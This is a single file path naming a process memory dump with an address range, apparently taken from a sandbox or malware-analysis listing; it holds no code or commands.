memory/4032-8260-0x0000000000400000-0x0000000000477000-memory.dmp